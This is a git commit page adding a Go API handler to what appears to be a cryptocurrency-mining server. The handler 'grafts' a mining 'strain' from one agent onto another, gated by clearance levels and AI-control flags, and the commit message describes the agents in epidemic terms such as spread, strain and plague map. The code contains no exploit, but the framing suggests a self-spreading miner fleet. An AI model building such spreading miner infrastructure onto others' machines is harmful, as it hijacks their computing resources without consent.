Add fleet topology epidemiology: strain plague map and mining interrupt fixes.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Strain nodes replace host nodes in FleetTopologyMap; server queues epidemiology_fix on auth and reports interrupts to AI and Seer.
This commit is contained in:
77
server/internal/api/fleet_graft.go
Normal file
77
server/internal/api/fleet_graft.go
Normal file
@@ -0,0 +1,77 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/clearance"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
type fleetGraftRequest struct {
|
||||
SourceAgentID string `json:"source_agent_id"`
|
||||
TargetAgentID string `json:"target_agent_id"`
|
||||
}
|
||||
|
||||
// PostFleetGraft splices a winning strain from source onto target without re-spreading target.
|
||||
func (f *FleetHandler) PostFleetGraft(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil || f.ws == nil {
|
||||
http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
policy := f.ws.ServerPolicy()
|
||||
if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) {
|
||||
http.Error(w, "graft requires ai_control_enabled and fleet_roles_enabled", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
var req fleetGraftRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
sourceID := strings.TrimSpace(req.SourceAgentID)
|
||||
targetID := strings.TrimSpace(req.TargetAgentID)
|
||||
if sourceID == "" || targetID == "" {
|
||||
http.Error(w, "source_agent_id and target_agent_id are required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if sourceID == targetID {
|
||||
http.Error(w, "source and target must differ", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
level := clearance.L0
|
||||
if mgr := f.ws.ClearanceManager(); mgr != nil {
|
||||
level = mgr.Level(targetID)
|
||||
}
|
||||
if level < clearance.L4 {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": "target clearance insufficient for spread_graft (requires L4)",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
graftPolicy, err := f.ws.ApproveFleetGraft(sourceID, targetID)
|
||||
if err != nil {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": true,
|
||||
"source_id": sourceID,
|
||||
"target_id": targetID,
|
||||
"graft_policy": graftPolicy,
|
||||
"pushed": f.ws.IsAgentReachable(targetID),
|
||||
})
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "spread_graft", targetID, map[string]interface{}{
|
||||
"source_agent_id": sourceID,
|
||||
"graft_tier": graftPolicy.GraftTier,
|
||||
"strain": graftPolicy.GraftSourceStrain,
|
||||
})
|
||||
}
|
||||
Reference in New Issue
Block a user